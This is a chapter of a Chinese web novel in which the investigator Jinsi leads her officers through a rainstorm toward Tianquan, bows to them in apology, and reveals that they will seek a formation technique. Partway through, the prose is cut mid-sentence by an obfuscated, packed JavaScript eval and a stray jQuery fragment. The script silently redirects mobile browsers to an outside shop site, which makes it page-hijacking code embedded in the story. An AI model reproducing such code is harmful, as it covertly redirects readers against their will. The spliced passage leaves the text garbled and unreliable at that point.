砰,砰,砰。
锦泗看了眼靠在窗上昏昏欲睡的高尽,她寻思着这人脑袋没被磕破吧?怎么这都不醒。终究于心不忍,轻轻推了一下他,他这下倒是睁开眼了,双目迷离地看着锦泗,“到了?”
锦泗怀疑地盯着他,“大少爷,怎么这么耐疼呢?”
高尽顺着她的目光看了眼靠着的车窗,反应过来她在说什么,“呵”了一声,“你少嘲讽我,谁说少爷都是娇气的了?”
锦泗想起某个言姓少爷,脑海中回忆起他翻墙的样子,竟然觉得他说的在理。
不过她为了案件的顺利进行,还是声明道:“我可没嘲讽你,是认真地发表疑问,不针对群体。”
高尽瞄了她一眼,嘟着嘴又想靠回窗上睡。
锦泗不再多言,掀开帘子,探头,眼前是熟悉的景色,两岸的山往后退去,空气中弥漫着雨后竹林的味道,清新又舒适。
“老伯,方才下过雨?”
驾驭着马车的老伯看了眼地面上干巴巴的泥土,只有路边的草上沾着几滴欲坠不坠的露珠,“下过毛毛雨,在车里都看出来啦?”
锦泗抬头看了眼灰蒙蒙的天空,只嘀咕道:“这雨怕是又要下了。”
老伯憨笑一声,接话道:“下一天也好,前些日子都没下雨,我的庄稼都有些干瘪了,下下好啊。”
锦泗抿嘴弯了一下唇,回道:“您专心开。”
老伯见有人跟他说话,心情也好了一点,“好嘞。”
高尽还没睡着,听到动静眼睛眯出一条缝,等到锦泗坐直身,观察到她眉眼间微微皱着,托着手,也不说话。
明明有话要说,还自己在那瞎琢磨,是怕打扰他睡觉吗?
“怎么了。”
锦泗抬眸看去,高尽眼睛还闭着,“你没睡?”
高尽微微睁开眼,看向她,痞气地笑了一下,“看来你观察的本领还没学到家,这都没发现?”
锦泗自知是自己不够敏锐,便也就认下他的话。
这反倒让高尽不适应了,“诶,你可是师姐,是他们的老大,这么没脾气怎么统领我们?”说罢还朝车后使了使眼色,那面目狰狞的样子是生怕锦泗忘了车后跟着随行的官兵。
锦泗目睹他别扭的模样,好笑道:“那又如何?有脾气能破案吗?我可不是靠着威严成为老大。”
高尽好奇地看着她,一副期待成为老大的答案的样子。
锦泗曲出一根手指,指了指自己的头。
“是靠脑子。”
对坐那人噎了一下,哼了一声又靠回窗边闭目养神了。
锦泗探出头看了眼跟着车后,坐在马上三三两两的随行官兵,心下有了数。
“到那时我们在天泉会合。”
锦泗回忆起她和言淮最后说的话,心想着,离天泉还有段距离。
一路起伏摇晃,再加上在车里只能对着高尽的脸,她也逐渐涌上困意,慢慢靠上了窗。
不知过了多久,她隐约感受到摇晃停了下来,睁开眼,恰逢老伯掀开帘子要与她说话。
“姑娘,雨下的有些大,轮子被糊住了,今夜怕是到不了天泉了啊。”
略带沙哑的声音混在暴雨中有些听不清楚。
锦泗顺着他掀开帘子的空隙,也能看到外面完全暗下来的天色,听到蓬勃的雨声,也许是下暴雨的缘故,天色格外的暗,以至于有些发黑。
锦泗“嗯”了一声,看着还在对面睡的天昏地暗的高尽,突然想起随行的官兵们,混沌的思绪瞬间清明,“老伯,跟着的那群人呢?”
暴雨有了越发大起的趋势,老伯支着耳朵,“啊”了一声。
锦泗加大嗓音,再重复了一遍。
这次老伯听清了,高尽也跟着醒了。
“噢,你说那群小伙子啊,还在后面跟着呢。”
锦泗瞳孔瞬间缩小了一下,立马往外冲去,直接跳下车。
老伯吓了一跳,手抓着缰绳立刻收紧。
“吁——”
马车缓缓停了下来,高尽一醒来便看到锦泗跳下车,也被吓得清醒了不少,弯腰出去。
只剩下老伯在马车上嘶吼,“诶,我没让你们下车啊。”
但锦泗已经顾不得其他了,等她跑到后方看到跟在马车后的那三三两两的人,步子停了下来。
三个人,看到马车停下便也停了下来,正想问发生什么,便对上了站在雨中的锦泗的视线。
“老大……你怎么……”
锦泗看着他们被暴雨淋湿的衣服,雨水在戴着的斗笠上汇聚,争先恐后地滴落,马也湿了乌黑的鬓毛,在暴雨下显得油光发亮。
“你们是傻吗!”
锦泗看着这群人,此刻她已顾不得什么女子的形象,怒骂道。
那三个人云里雾里,直愣愣地看了看对方,都没在其他人脸上搜寻到什么信息。
刚刚他们聊什么惹老大生气了?
锦泗看着他们呆呆的样子,越发上火,“这么大雨,还傻跟着干什么!不知道避避吗?!”
三个人意识到锦泗在说什么,伸手感受了一下淋在身上的雨,布料湿哒哒地黏在身上,泛着刺骨的冷意。
锦泗以为终于知道自己吃苦了,正想趁机教育一下他们,以后要以身体为重,谁知他们竟笑了一声,开口道:“老大,这位老伯人很好,给我们带了斗笠的。”
锦泗怔愣了一瞬,但他们还没说完。
“而且,老大让我们去哪我们就去哪,老大不说停,我们也不会走。”
另外两个人附和地用力点点头,着急劝道:“老大你快上车啊,小心染了风寒。”
言语落罢,锦泗还站在原地,纹丝不动。
三个人好像感觉到什么,你看我我看你,其中有一人嗫喏开口,“……老大?”
冒着这么大的雨,他那如蚊子般的音量照道理是听不见的,离他近的那两位弟兄都听不清,但锦泗就是听见了,表现就在于她低下了头。
锦泗本能就这么做了,但至于为什么要低头,大抵是由于愧对老大这个称呼吧。
高尽跟在锦泗后面,自然能看出锦泗在微微颤抖,他冲马上的三人问道:“你们把她怎么了?”
“不怪他们,怪我。”
锦泗颤栗着开口。
是啊,是自己带他们来办案,是自己睡着了才让他们淋了那么久的雨,他们很听自己的话不是早就知道的吗?要下雨不是早就知道的吗?
为什么,当时没有再想的深一点?
都是因为自己。
高尽不知道说什么好,只知道现在被大雨淋着有些不舒服,但他又觉得,锦泗心里更不舒服,于是也没开口打扰她,就静静站在旁边。
三个人中有一人叫雷顺,他们都管他叫老雷,因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984420|141953||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他是为数不多的兄弟中最成熟稳重的。
老雷像是感知到锦泗的情绪,缓缓开口道:“老大,我们心里都有数,什么活,该不该干,该怎么干,我们都清楚,来跟你办这案子,我们,是自愿的。”
“这就是你们傻跟着淋雨的理由吗?”
锦泗抬起头,看着他们,心里又闷又酸,难受得发紧。
有一人转头看了看周围,都是山,被大雨瓢泼后的泥泞路潮湿又沉重,湿泥与石子混在一起,难走的很。
“这附近,也没有可以避雨的地儿。”
另一人坚定道:“再说了,这点雨算什么,就算天上下刀子,我们也不怕!”
其他人都跟着笑了起来,本该轻松下来的气氛在看到锦泗发红的双眼时愈发沉重。
完了,要被骂了。
正当他们以为老大要发飙时,便见她脚往后退了一步,双手伸到身前,深深地鞠了一躬,久久没有抬起。
往后过了许多年,马背上的三个人依然会记得,他们的领导者站在倾盆暴雨中冲他们鞠躬的场景,也如那久久未抬起的腰板那般,久久未能忘怀。
而高尽所记得的,便是锦泗鞠躬后,那三个人从马背上忙着跳下,两边人在黑夜中对着鞠躬的场景。
画面令人费解,但足够震撼。
-
等终于在路上找到客栈歇脚,最先出声的却是老伯,“哎呦我说你们,一个个都站那干嘛,是傻吗?在那干淋雨,雨下的多大又不是不知道……”
说到这,他转念一想,嘀咕道:“我不会接了一群不正常的客人吧?”
算了算了,他年事已高,还是不多想了,早点洗洗睡吧。
刚说完别人傻子转头就被人说傻子的锦泗也反应过来刚刚自己有点意气用事。要说,也得落脚后再说啊……下次长记性了。
随行的几个人看着锦泗,眼睛睁的大大的,见锦泗看过来,还高昂起了脖子,满眼都是我等老大指令。
很显然,锦泗在他们心目中的地位,更加神圣了。
骂完还会行礼的老大是什么老大,好老大!跟定她了!
锦泗有些好笑,不知是不是被雨淋了的缘故,她手脚有些无力。
“行了,泡个热水都早点歇息吧,今晚的进程耽搁下来了,明早还要赶路。”
“是!”
锦泗:……
分开前高尽想起什么,问道:“我们明天是要去哪?”
锦泗对组里还有个正常人表示很欣慰,随后她看了眼大家。本来她是打算直接带他们过去之后再说的,可是……她看着弟兄们坚毅的眼神,又觉得自己在矫情个什么。
于是开口道:“去天泉。”
“天泉?!”
弟兄们眼观鼻鼻观心,心下做好了准备。
锦泗看他们震惊完又不约而同的沉默,挑了挑眉,“怎么?了解过?”
老雷率先道:“老刘之前给我们介绍过,说天泉有很多法阵,还有守门人看守,不得擅闯,他们擅用法术,跟我们官府,虽说没有利益冲突,但也绝合不到一起去。”
锦泗赞赏地点点头,“不错嘛,功课挺认真,老刘表示很欣慰。”
另一人不解问道:“老大,我们去天泉找他们干什么?”
锦泗幽幽地看那人一眼,等吊足了了胃口,才解释道。
“求一门阵法。”